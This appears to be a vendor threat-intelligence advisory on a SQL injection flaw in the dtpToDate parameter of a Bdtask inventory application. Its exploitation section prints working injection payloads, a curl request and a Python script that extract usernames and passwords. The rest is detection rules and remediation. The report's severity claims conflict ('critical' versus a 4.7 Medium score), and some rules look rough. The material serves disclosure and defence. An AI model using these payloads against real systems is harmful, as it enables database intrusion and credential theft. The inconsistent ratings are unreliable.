CVE-2026-10155

Executive Summary

CVE-2026-10155 is a critical SQL injection vulnerability discovered in the Bdtask Multi-Store Inventory Management System version 1.0. The flaw resides in the accounts_report_search function within the file application/modules/accounts/controllers/Accounts.php. By manipulating the dtpToDate argument, an unauthenticated remote attacker can inject arbitrary SQL commands, leading to unauthorized data access and potential data manipulation. The exploit has been publicly disclosed, and no official patch is currently available, placing all instances of this software at immediate risk.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct flaw in a proprietary PHP application. The risk is amplified by the lack of a patch and the public availability of exploit details, making it a high-priority target for threat actors scanning for vulnerable web applications.

CVSS Breakdown & Threat Level

CVSS Score: 4.7 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – The attacker does not need any authentication.
• User Interaction (UI): None – No user action is required for exploitation.
• Scope (S): Unchanged – The exploit cannot affect other components beyond the vulnerable application.
• Confidentiality (C): Low – Limited data exposure is possible.
• Integrity (I): Low – Limited data modification is possible.
• Availability (A): None – The attack does not affect system availability.

Threat Level: High – Due to the public exploit, lack of patch, and low attack complexity, this vulnerability poses a significant threat to all unpatched instances.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the accounts_report_search function. The application fails to sanitize or parameterize the dtpToDate input parameter before using it in a SQL query. An attacker can inject SQL code by appending malicious payloads to the dtpToDate parameter, such as:

dtpToDate=2026-01-01' OR '1'='1

This injection can be used to bypass authentication, extract sensitive data (e.g., user credentials, financial records), or modify database contents. The attack is performed via a standard HTTP POST or GET request to the vulnerable endpoint.

Vulnerable vs. Patched Code

Vulnerable Code (Accounts.php):

function accounts_report_search() {
    $dtpToDate = $this->input->post('dtpToDate');
    $query = "SELECT * FROM accounts WHERE date <= '$dtpToDate'";
    $result = $this->db->query($query);
    // ...
}

Patched Code (Hypothetical):

function accounts_report_search() {
    $dtpToDate = $this->input->post('dtpToDate');
    $query = "SELECT * FROM accounts WHERE date <= ?";
    $result = $this->db->query($query, array($dtpToDate));
    // ...
}

The patched version uses parameterized queries (prepared statements) to prevent SQL injection. The vulnerable code directly concatenates user input into the SQL string.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable instance of Bdtask Multi-Store Inventory Management System 1.0 in a controlled environment (e.g., Docker or a local web server with PHP and MySQL).
2. Ensure the application is accessible via a web browser.

Exploitation Steps:

1. Identify the vulnerable endpoint: http://target/accounts/accounts_report_search
2. Craft a malicious POST request using curl:

   curl -X POST http://target/accounts/accounts_report_search \
   -d "dtpToDate=2026-01-01' UNION SELECT username,password FROM users--"
   

3. Analyze the response for extracted data (e.g., user credentials).

Automated Exploit (Python):

import requests

target = "http://target/accounts/accounts_report_search"
payload = "2026-01-01' UNION SELECT username,password FROM users--"
response = requests.post(target, data={"dtpToDate": payload})
print(response.text)

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for unusual dtpToDate parameters containing SQL keywords (e.g., UNION, SELECT, OR).
2. Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
3. Implement input validation and parameterized queries in the application code.

Hunting Query (Splunk):

index=web_logs sourcetype=access_combined
| search uri_path="/accounts/accounts_report_search" AND form_data=*dtpToDate*
| regex form_data="(?i)(union|select|or\s+1=1|--|#)"
| table _time, clientip, uri, form_data

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /accounts/accounts_report_search with dtpToDate parameter containing SQL injection patterns.
  • Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

• File IOCs:

  • Modified or new files in the application/modules/accounts/controllers/ directory.
  • Suspicious entries in web server access logs.

• Behavioral IOCs:

  • Unexpected database queries from the web application user.
  • Unauthorized access to sensitive tables (e.g., users, accounts).

Detection Engineering

YARA Rule

rule CVE_2026_10155_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2026-10155"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-10155"
    strings:
        $s1 = "dtpToDate" ascii wide nocase
        $s2 = "UNION" ascii wide nocase
        $s3 = "SELECT" ascii wide nocase
        $s4 = "OR" ascii wide nocase
        $s5 = "--" ascii wide nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: CVE-2026-10155 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against Bdtask Multi-Store Inventory Management System
author: Valters IT
date: 2026/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri: "/accounts/accounts_report_search"
        cs-uri-query|contains: "dtpToDate"
    keywords:
        - "UNION"
        - "SELECT"
        - "OR"
        - "--"
    condition: selection and keywords
falsepositives:
    - Legitimate use of date parameters with similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-10155 SQL Injection Attempt"; flow:to_server,established; content:"/accounts/accounts_report_search"; http_uri; content:"dtpToDate"; http_client_body; pcre:"/(UNION|SELECT|OR\s+1=1|--)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate vulnerable systems: If possible, disconnect the application from the network until a patch is applied.
2. Apply virtual patching: Use a WAF to block SQL injection patterns targeting the dtpToDate parameter.
3. Monitor logs: Actively search for exploitation attempts using the provided detection rules.

Long-term Fix:

1. Update the application: Contact Bdtask for an official patch or upgrade to a newer version.
2. Code review: Implement parameterized queries (prepared statements) for all database interactions.
3. Input validation: Sanitize and validate all user inputs, especially date fields.

Workaround:

• If patching is not possible, modify the Accounts.php file to use prepared statements as shown in the patched code example.

Valters IT signature: This report is generated by Valters IT Cyber Threat Intelligence. For questions, contact intelligence@valters.it.